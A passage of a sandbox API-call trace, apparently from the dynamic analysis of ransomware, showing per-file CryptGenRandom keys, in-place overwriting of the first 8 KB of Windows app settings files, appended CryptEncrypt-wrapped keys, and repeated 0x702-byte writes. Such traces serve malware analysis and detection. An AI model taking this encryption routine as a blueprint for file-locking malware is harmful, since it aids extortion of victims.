lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0166.580] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.580] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.581] WriteFile (in: hFile=0x1340, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.581] WriteFile (in: hFile=0x1340, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.581] CloseHandle (hObject=0x1340) returned 1 [0166.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.582] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.583] ReadFile (in: hFile=0x1340, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.583] SetFilePointer (in: hFile=0x1340, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.583] WriteFile (in: hFile=0x1340, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.583] SetFilePointer (in: hFile=0x1340, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.583] WriteFile (in: hFile=0x1340, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.584] WriteFile (in: hFile=0x1340, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.584] CloseHandle (hObject=0x1340) returned 1 [0166.605] WriteFile (in: hFile=0x134c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.612] CloseHandle (hObject=0x134c) returned 1 [0166.620] WriteFile (in: hFile=0x134c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.627] CloseHandle (hObject=0x134c) returned 1 [0166.632] WriteFile (in: hFile=0x134c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.635] CloseHandle (hObject=0x134c) returned 1 [0166.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.635] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0166.636] ReadFile (in: hFile=0x1360, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.636] SetFilePointer (in: hFile=0x1360, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.636] WriteFile (in: hFile=0x1360, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.636] SetFilePointer (in: hFile=0x1360, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.636] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.636] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.637] WriteFile (in: hFile=0x1360, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.637] WriteFile (in: hFile=0x1360, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.638] CloseHandle (hObject=0x1360) returned 1 [0166.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.639] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0166.639] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0166.640] ReadFile (in: hFile=0x1360, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.657] SetFilePointer (in: hFile=0x1360, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.657] WriteFile (in: hFile=0x1360, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.658] SetFilePointer (in: hFile=0x1360, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.658] WriteFile (in: hFile=0x1360, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.658] WriteFile (in: hFile=0x1360, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.659] CloseHandle (hObject=0x1360) returned 1 [0166.661] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.661] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0166.661] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.662] ReadFile (in: hFile=0x1360, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.664] SetFilePointer (in: hFile=0x1360, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.664] WriteFile (in: hFile=0x1360, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.665] SetFilePointer (in: hFile=0x1360, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.666] WriteFile (in: hFile=0x1360, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.666] WriteFile (in: hFile=0x1360, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.666] CloseHandle (hObject=0x1360) returned 1 [0166.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.667] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.668] ReadFile (in: hFile=0x1360, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.668] SetFilePointer (in: hFile=0x1360, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.668] WriteFile (in: hFile=0x1360, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.668] SetFilePointer (in: hFile=0x1360, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.668] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.668] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.668] WriteFile (in: hFile=0x1360, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.669] WriteFile (in: hFile=0x1360, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.669] CloseHandle (hObject=0x1360) returned 1 [0166.675] WriteFile (in: hFile=0x136c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.676] CloseHandle (hObject=0x136c) returned 1 [0166.681] WriteFile (in: hFile=0x136c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.682] CloseHandle (hObject=0x136c) returned 1 [0166.686] WriteFile (in: hFile=0x136c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.687] CloseHandle (hObject=0x136c) returned 1 [0166.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0166.688] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0166.693] ReadFile (in: hFile=0x1380, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.693] SetFilePointer (in: hFile=0x1380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.693] WriteFile (in: hFile=0x1380, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.693] SetFilePointer (in: hFile=0x1380, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.694] WriteFile (in: hFile=0x1380, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.695] WriteFile (in: hFile=0x1380, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.695] CloseHandle (hObject=0x1380) returned 1 [0166.696] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.696] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0166.696] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0166.701] ReadFile (in: hFile=0x1380, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.713] SetFilePointer (in: hFile=0x1380, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.713] WriteFile (in: hFile=0x1380, lpBuffer=0x2ed3070*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed3070*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.713] SetFilePointer (in: hFile=0x1380, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.714] WriteFile (in: hFile=0x1380, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.714] WriteFile (in: hFile=0x1380, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.714] CloseHandle (hObject=0x1380) returned 1 [0166.726] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.726] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.726] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.755] ReadFile (in: hFile=0x1380, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.756] SetFilePointer (in: hFile=0x1380, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.756] WriteFile (in: hFile=0x1380, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.757] SetFilePointer (in: hFile=0x1380, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.757] WriteFile (in: hFile=0x1380, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.758] WriteFile (in: hFile=0x1380, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.758] CloseHandle (hObject=0x1380) returned 1 [0166.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0166.759] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.760] ReadFile (in: hFile=0x1380, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.760] SetFilePointer (in: hFile=0x1380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.760] WriteFile (in: hFile=0x1380, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.760] SetFilePointer (in: hFile=0x1380, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.760] WriteFile (in: hFile=0x1380, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.761] WriteFile (in: hFile=0x1380, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.761] CloseHandle (hObject=0x1380) returned 1 [0166.763] WriteFile (in: hFile=0x138c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.764] CloseHandle (hObject=0x138c) returned 1 [0166.764] WriteFile (in: hFile=0x138c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.765] CloseHandle (hObject=0x138c) returned 1 [0166.766] WriteFile (in: hFile=0x138c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.766] CloseHandle (hObject=0x138c) returned 1 [0166.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0166.770] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\settings.dat", 